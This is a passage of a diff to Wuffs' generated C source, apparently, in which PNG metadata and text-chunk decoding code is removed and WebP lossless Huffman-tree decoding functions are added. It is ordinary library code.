NULL) { +- wuffs_base__more_information__set(a_minfo, +- self->private_impl.f_metadata_flavor, +- self->private_impl.f_metadata_fourcc, +- self->private_impl.f_metadata_x, +- self->private_impl.f_metadata_y, +- self->private_impl.f_metadata_z); +- } +- if (self->private_impl.f_metadata_flavor != 4u) { +- break; +- } +- if (self->private_impl.f_metadata_is_zlib_compressed) { +- if (self->private_impl.f_chunk_type == 1346585449u) { +- { +- const bool o_0_closed_a_src = a_src->meta.closed; +- const uint8_t *o_0_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_0; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- io2_a_src = o_0_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_0_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- break; +- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- status = v_zlib_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } else if (self->private_impl.f_chunk_type == 1951945833u) { +- { +- const bool o_1_closed_a_src = a_src->meta.closed; +- const uint8_t *o_1_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- if (a_dst) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_1 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, a_dst, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_1; +- if (a_dst) { +- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; +- } +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- io2_a_src = o_1_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_1_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- break; +- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- status = v_zlib_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- } else if (self->private_impl.f_chunk_type == 1951945850u) { +- if (self->private_impl.f_ztxt_ri == self->private_impl.f_ztxt_wi) { +- { +- wuffs_base__io_buffer* o_2_v_w = v_w; +- uint8_t *o_2_iop_v_w = iop_v_w; +- uint8_t *o_2_io0_v_w = io0_v_w; +- uint8_t *o_2_io1_v_w = io1_v_w; +- uint8_t *o_2_io2_v_w = io2_v_w; +- v_w = wuffs_base__io_writer__set( +- &u_w, +- &iop_v_w, +- &io0_v_w, +- &io1_v_w, +- &io2_v_w, +- wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024), +- self->private_impl.f_ztxt_hist_pos); +- { +- const bool o_3_closed_a_src = a_src->meta.closed; +- const uint8_t *o_3_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_2 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_2; +- iop_v_w = u_w.data.ptr + u_w.meta.wi; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- v_num_written = wuffs_base__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w))); +- io2_a_src = o_3_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_3_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- v_w = o_2_v_w; +- iop_v_w = o_2_iop_v_w; +- io0_v_w = o_2_io0_v_w; +- io1_v_w = o_2_io1_v_w; +- io2_v_w = o_2_io2_v_w; +- } +- if (v_num_written > 1024u) { +- status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- self->private_impl.f_ztxt_ri = 0u; +- self->private_impl.f_ztxt_wi = ((uint32_t)(v_num_written)); +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_ztxt_hist_pos, v_num_written); +- } +- while (self->private_impl.f_ztxt_ri < self->private_impl.f_ztxt_wi) { +- v_c2 = WUFFS_PNG__LATIN_1[self->private_data.f_dst_palette[self->private_impl.f_ztxt_ri]]; +- if (v_c2 == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); +- goto exit; +- } else if (v_c2 <= 127u) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- goto label__loop__continue; +- } +- self->private_impl.f_ztxt_ri += 1u; +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c2))), iop_a_dst += 1); +- } else { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- goto label__loop__continue; +- } +- self->private_impl.f_ztxt_ri += 1u; +- (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c2), iop_a_dst += 2); +- } +- } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- break; +- } else if ( ! wuffs_base__status__is_suspension(&v_zlib_status)) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } else if (v_zlib_status.repr != wuffs_base__suspension__short_write) { +- status = v_zlib_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- } +- } else { +- status = wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_chunk_type); +- goto exit; +- } +- } else if ((self->private_impl.f_chunk_type == 1951945833u) && (self->private_impl.f_metadata_fourcc == 1263947862u)) { +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- goto label__loop__break; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- goto label__loop__continue; +- } else if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- goto label__loop__continue; +- } +- self->private_impl.f_chunk_length -= 1u; +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- iop_a_src += 1u; +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_c), iop_a_dst += 1); +- } +- } else { +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- if (self->private_impl.f_metadata_fourcc == 1263947851u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- goto label__loop__break; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- goto label__loop__continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- if (v_c == 0u) { +- self->private_impl.f_chunk_length -= 1u; +- iop_a_src += 1u; +- goto label__loop__break; +- } +- v_c2 = WUFFS_PNG__LATIN_1[v_c]; +- if (v_c2 == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_text_chunk_not_latin_1); +- goto exit; +- } else if (v_c2 <= 127u) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); +- goto label__loop__continue; +- } +- self->private_impl.f_chunk_length -= 1u; +- iop_a_src += 1u; +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)(v_c2))), iop_a_dst += 1); +- } else { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); +- goto label__loop__continue; +- } +- self->private_impl.f_chunk_length -= 1u; +- iop_a_src += 1u; +- (wuffs_base__poke_u16le__no_bounds_check(iop_a_dst, v_c2), iop_a_dst += 2); +- } +- } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ status = wuffs_webp__decoder__decode_huffman_tree_simple(self, a_src, a_hg, a_ht); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ status = wuffs_webp__decoder__decode_code_length_code_lengths(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ v_status = wuffs_webp__decoder__build_code_lengths_huffman_nodes(self); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } ++ goto ok; + } +- label__loop__break:; +- if (self->private_impl.f_metadata_fourcc == 1263947851u) { +- self->private_impl.f_metadata_fourcc = 1263947862u; +- if (self->private_impl.f_chunk_type == 1951945833u) { +- if (self->private_impl.f_chunk_length <= 1u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 2u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_3 = *iop_a_src++; +- v_c = t_3; +- } +- if (v_c == 0u) { +- self->private_impl.f_metadata_is_zlib_compressed = false; +- } else if (v_c == 1u) { +- self->private_impl.f_metadata_is_zlib_compressed = true; +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; +- } +- if ((v_c != 0u) && self->private_impl.f_metadata_is_zlib_compressed) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- self->private_impl.f_metadata_fourcc -= 2u; +- while (self->private_impl.f_metadata_fourcc != 1263947862u) { +- self->private_impl.f_metadata_fourcc += 1u; +- while (true) { +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; +- } +- if (v_c == 0u) { +- break; +- } +- } +- } +- } else if (self->private_impl.f_chunk_type == 1951945850u) { +- if (self->private_impl.f_chunk_length <= 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 1u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; +- } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); +- goto exit; +- } +- self->private_impl.f_metadata_is_zlib_compressed = true; ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ status = wuffs_webp__decoder__build_code_lengths(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ v_status = wuffs_webp__decoder__build_huffman_nodes(self, a_hg, a_ht); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; + } +- self->private_impl.f_call_sequence &= 239u; +- status = wuffs_base__make_status(NULL); + goto ok; + } +- } while (0); +- label__goto_done__break:; +- if (self->private_impl.f_chunk_length != 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_data.s_do_tell_me_more[0].scratch = 4u; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- if (self->private_data.s_do_tell_me_more[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_tell_me_more[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; + } +- iop_a_src += self->private_data.s_do_tell_me_more[0].scratch; +- self->private_impl.f_metadata_flavor = 0u; +- self->private_impl.f_metadata_fourcc = 0u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; +- self->private_impl.f_call_sequence &= 239u; +- status = wuffs_base__make_status(NULL); +- goto ok; + + ok: +- self->private_impl.p_do_tell_me_more[0] = 0; ++ self->private_impl.p_decode_huffman_tree = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_do_tell_me_more[0].v_zlib_status = v_zlib_status; ++ self->private_impl.p_decode_huffman_tree = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -58593,563 +72047,1574 @@ wuffs_png__decoder__do_tell_me_more( + return status; + } + +-// -------- func png.decoder.history_retain_length ++// -------- func webp.decoder.decode_huffman_tree_simple + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_png__decoder__history_retain_length( +- const wuffs_png__decoder* self) { +- if (!self) { +- return 0; ++static wuffs_base__status ++wuffs_webp__decoder__decode_huffman_tree_simple( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src, ++ uint32_t a_hg, ++ uint32_t a_ht) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_use_second_symbol = 0; ++ uint32_t v_first_symbol_n_bits = 0; ++ uint32_t v_symbol0 = 0; ++ uint32_t v_symbol1 = 0; ++ uint32_t v_base_offset = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_huffman_tree_simple; ++ if (coro_susp_point) { ++ v_use_second_symbol = self->private_data.s_decode_huffman_tree_simple.v_use_second_symbol; ++ v_first_symbol_n_bits = self->private_data.s_decode_huffman_tree_simple.v_first_symbol_n_bits; ++ v_symbol0 = self->private_data.s_decode_huffman_tree_simple.v_symbol0; ++ v_base_offset = self->private_data.s_decode_huffman_tree_simple.v_base_offset; + } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- return 0u; ++ if (self->private_impl.f_n_bits < 2u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (self->private_impl.f_n_bits >= 2u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_use_second_symbol = (self->private_impl.f_bits & 1u); ++ v_first_symbol_n_bits = ((((self->private_impl.f_bits & 2u) >> 1u) * 7u) + 1u); ++ self->private_impl.f_bits >>= 2u; ++ self->private_impl.f_n_bits -= 2u; ++ if (self->private_impl.f_n_bits < v_first_symbol_n_bits) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= v_first_symbol_n_bits) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_symbol0 = (self->private_impl.f_bits & ((((uint32_t)(1u)) << v_first_symbol_n_bits) - 1u)); ++ self->private_impl.f_bits >>= v_first_symbol_n_bits; ++ self->private_impl.f_n_bits -= v_first_symbol_n_bits; ++ v_base_offset = ((uint32_t)(WUFFS_WEBP__HUFFMAN_TABLE_BASE_OFFSETS[a_ht])); ++ if (v_use_second_symbol != 0u) { ++ if (self->private_impl.f_n_bits < 8u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ if (self->private_impl.f_n_bits >= 8u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_symbol1 = (self->private_impl.f_bits & 255u); ++ self->private_impl.f_bits >>= 8u; ++ self->private_impl.f_n_bits -= 8u; ++ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 0u)] = ((uint16_t)((v_base_offset + 1u))); ++ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 1u)] = ((uint16_t)((v_symbol0 | 32768u))); ++ self->private_data.f_huffman_nodes[a_hg][(v_base_offset + 2u)] = ((uint16_t)((v_symbol1 | 32768u))); ++ } else { ++ self->private_data.f_huffman_nodes[a_hg][v_base_offset] = ((uint16_t)((v_symbol0 | 32768u))); ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_huffman_tree_simple = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_huffman_tree_simple = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_huffman_tree_simple.v_use_second_symbol = v_use_second_symbol; ++ self->private_data.s_decode_huffman_tree_simple.v_first_symbol_n_bits = v_first_symbol_n_bits; ++ self->private_data.s_decode_huffman_tree_simple.v_symbol0 = v_symbol0; ++ self->private_data.s_decode_huffman_tree_simple.v_base_offset = v_base_offset; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// -------- func png.decoder.workbuf_len ++// -------- func webp.decoder.decode_code_length_code_lengths + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_png__decoder__workbuf_len( +- const wuffs_png__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); ++static wuffs_base__status ++wuffs_webp__decoder__decode_code_length_code_lengths( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_n_codes = 0; ++ uint32_t v_i = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_code_length_code_lengths; ++ if (coro_susp_point) { ++ v_n_codes = self->private_data.s_decode_code_length_code_lengths.v_n_codes; ++ v_i = self->private_data.s_decode_code_length_code_lengths.v_i; + } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_overall_workbuf_length, self->private_impl.f_overall_workbuf_length); ++ if (self->private_impl.f_n_bits < 4u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (self->private_impl.f_n_bits >= 4u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ v_n_codes = ((self->private_impl.f_bits & 15u) + 4u); ++ self->private_impl.f_bits >>= 4u; ++ self->private_impl.f_n_bits -= 4u; ++ v_i = 0u; ++ while (v_i < v_n_codes) { ++ if (self->private_impl.f_n_bits < 3u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (self->private_impl.f_n_bits >= 3u) { ++ status = wuffs_base__make_status(wuffs_webp__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ self->private_impl.f_bits |= (((uint32_t)(v_c8)) << self->private_impl.f_n_bits); ++ self->private_impl.f_n_bits += 8u; ++ } ++ self->private_impl.f_code_length_code_lengths[WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[v_i]] = ((uint8_t)((self->private_impl.f_bits & 7u))); ++ self->private_impl.f_bits >>= 3u; ++ self->private_impl.f_n_bits -= 3u; ++ v_i += 1u; ++ } ++ while (v_i < 19u) { ++ self->private_impl.f_code_length_code_lengths[WUFFS_WEBP__CODE_LENGTH_CODE_ORDER[v_i]] = 0u; ++ v_i += 1u; ++ } ++ ++ goto ok; ++ ok: ++ self->private_impl.p_decode_code_length_code_lengths = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_code_length_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_decode_code_length_code_lengths.v_n_codes = v_n_codes; ++ self->private_data.s_decode_code_length_code_lengths.v_i = v_i; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; + } + +-// -------- func png.decoder.filter_and_swizzle ++// -------- func webp.decoder.build_code_lengths_huffman_nodes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__filter_and_swizzle( +- wuffs_png__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__slice_u8 a_workbuf) { +- return (*self->private_impl.choosy_filter_and_swizzle)(self, a_dst, a_workbuf); ++wuffs_webp__decoder__build_code_lengths_huffman_nodes( ++ wuffs_webp__decoder* self) { ++ uint32_t v_code_bits = 0; ++ uint32_t v_code_len = 0; ++ uint32_t v_symbol = 0; ++ uint32_t v_histogram[8] = {0}; ++ uint32_t v_n_used_symbols = 0; ++ uint32_t v_last_used_symbol = 0; ++ uint32_t v_subscription_weight = 0; ++ uint32_t v_subscription_total = 0; ++ uint32_t v_curr_code = 0; ++ uint32_t v_next_codes[9] = {0}; ++ uint32_t v_n_branches = 0; ++ uint32_t v_h = 0; ++ uint32_t v_children = 0; ++ uint16_t v_node = 0; ++ ++ v_symbol = 0u; ++ while (v_symbol < 19u) { ++ 